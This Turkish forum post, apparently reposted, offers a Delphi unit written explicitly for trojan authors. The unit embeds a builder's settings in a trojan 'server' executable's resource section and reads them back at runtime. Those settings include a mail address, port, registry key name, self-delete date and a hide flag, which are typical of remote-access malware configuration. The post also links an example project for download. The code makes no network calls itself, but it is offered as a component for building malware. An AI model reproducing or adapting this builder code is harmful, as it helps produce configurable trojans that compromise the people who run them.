edit server ünit

S.A.

Delphide Server Oluşturmak Trojan coder larının hep derdi olmuştur. Clientteki değişkenleri servera aktarma olayı için ne kadar makale, kod varsa araştırdım ve kullanışlı bir class kodladım.

Bu class’ın kullanımı ile ilgili örnek proje:

Projeyi İndir!!!

Class a ait Kodlar:

{
Delphi EditServer Unit by ParaNTeZ
https://tik.lat/Eqo9y
[email protected]

Not: Bu classla server yazılımlarınıza istediğiniz değişkenleri
aktarabilir ve bu değişkenleri server ınızda sorunsuzca
kullanabilirsiniz.
}

unit EditServer;

interface

uses
Windows;

type

TDegiskenler = record
PServerAdi, PMailAdres, PPeryot, PRegAnahatarAdi : String[255];
PPort, PSilin****rihi: Integer;
PGizleDurum : boolean;
//Bu Kısma İstediğiniz Kadar Değişken Ekleyebilirsiniz..
end;
PDegiskenler = ^TDegiskenler;

const
RC_Degiskenler = ’PARANTEZ’;

function DegiskenleriYaz(DosyaAdi: PChar; Degiskenler: PDegiskenler): Boolean;
function DegiskenleriOku(var Degiskenler: PDegiskenler): Boolean;

implementation

//------------------------------------------------------------------------------
function DegiskenleriYaz(DosyaAdi: PChar; Degiskenler: PDegiskenler): Boolean;
var
HKaynak: THandle;
begin
Result := False;
HKaynak := BeginUpdateResource(DosyaAdi, False);
if HKaynak <> 0 then
begin
if UpdateResource(HKaynak, RT_RCDATA, RC_Degiskenler, 0, Degiskenler, SizeOf(Degiskenler^)) then
Result := True;
EndUpdateResource(HKaynak, False);
end;
end;
//------------------------------------------------------------------------------
function DegiskenleriOku(var Degiskenler: PDegiskenler): Boolean;
var
HKaynakBilgi: HRSRC;
HKaynak: HGLOBAL;
begin
Result := False;
HKaynakBilgi := FindResource(hInstance, RC_Degiskenler, RT_RCDATA);
if HKaynakBilgi <> 0 then
begin
HKaynak := LoadResource(hInstance, HKaynakBilgi);
if HKaynak <> 0 then
begin
Degiskenler := LockResource(HKaynak);
Result := True;
end;
end;
end;
//------------------------------------------------------------------------------

end.

alıntıdır